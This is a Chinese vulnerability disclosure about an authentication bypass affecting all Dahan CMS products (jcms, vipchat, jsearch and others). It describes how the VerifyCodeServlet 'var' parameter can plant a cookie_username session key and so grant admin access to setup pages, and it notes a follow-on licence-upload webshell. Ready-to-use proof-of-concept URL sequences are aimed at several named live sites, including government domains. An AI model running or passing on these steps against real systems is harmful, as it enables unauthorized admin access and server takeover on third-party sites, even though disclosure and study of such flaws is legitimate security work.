管理后台权限绕过,进入后台后轻松GetShell,
经验证通杀所有系统和版本,包括:jcms,jact,jsearch,vipchat,vc,xxgk等等。
Setup目录Session权限绕过:
代码分析 /jcms/setup/opr_licenceinfo.jsp : //获取Session中cookie_username的值,赋值给strUser String strUser = (String)sessions.getAttribute("cookie_username"); // 判断strUser值 是否为空? if( strUser == null || strUser.trim().length() == 0 ) { out.println('请先登录!') return; } //如果为空,则未登录,直接返回 // 如果不为空,说明已经登录
逆向java servlet 的代码 /VerifyCodeServlet
// 获取请求参数 var,赋值给 strVar String strVar = Convert.getParameter(request, "var", ""); if(strVar == null){ request.getSession().setAttribute("COMPLAT", str_code); // 将随机码保存到SESSION中 }else{ // 如果 strVar 不为空的话,创建 strVar 为名称的 SESSION 值 request.getSession().setAttribute(strVar, str_code); // 将随机码保存到SESSION中 } 所以通过参数 var, 就可以控制SESSION的名称的创建
通过两个程序的分析,整理一下:
1. opr_licenceinfo.jsp需要一个SESSION cookie_username 不为空,就可以成功登录
2. /VerifyCodeServlet 可以 创建任意 SESSION的key值
所以两者配合,就可以构造成功登录了。
直接访问opr_licenceinfo.jsp 需要登录
http://www.zgzhijiang.gov.cn/jcms/setup/opr_licenceinfo.jsp
添加一个Session值 cookie_username
http://www.zgzhijiang.gov.cn/jcms/VerifyCodeServlet?var=cookie_username
然后再次访问/jcms/setup/opr_licenceinfo.jsp,成功登录。
Licence文件上传webshell漏洞,不演示了,参考:http://wooyun.org/bugs/wooyun-2010-052699
vipchat 的 POC:
http://sdds.gov.cn/vipchat/setup/
http://sdds.gov.cn/vipchat/VerifyCodeServlet?var=cookie_username
http://sdds.gov.cn/vipchat/setup/admin.jsp
jsearch 的 POC:
http://www.hyhjbh.com/jsearch/setup/
http://www.hyhjbh.com/jsearch/VerifyCodeServlet?var=cookie_username
http://www.hyhjbh.com/jsearch/setup/opr_licenceinfo.jsp
其他的大汉系统,就不一一罗列了,
这算是一个VerifyCodeServlet组件的逻辑漏洞吧,
大汉的所有系统都包含VerifyCodeServlet这个组件,用于生成验证码,
所以导致了所有系统的通杀,影响范围非常广了。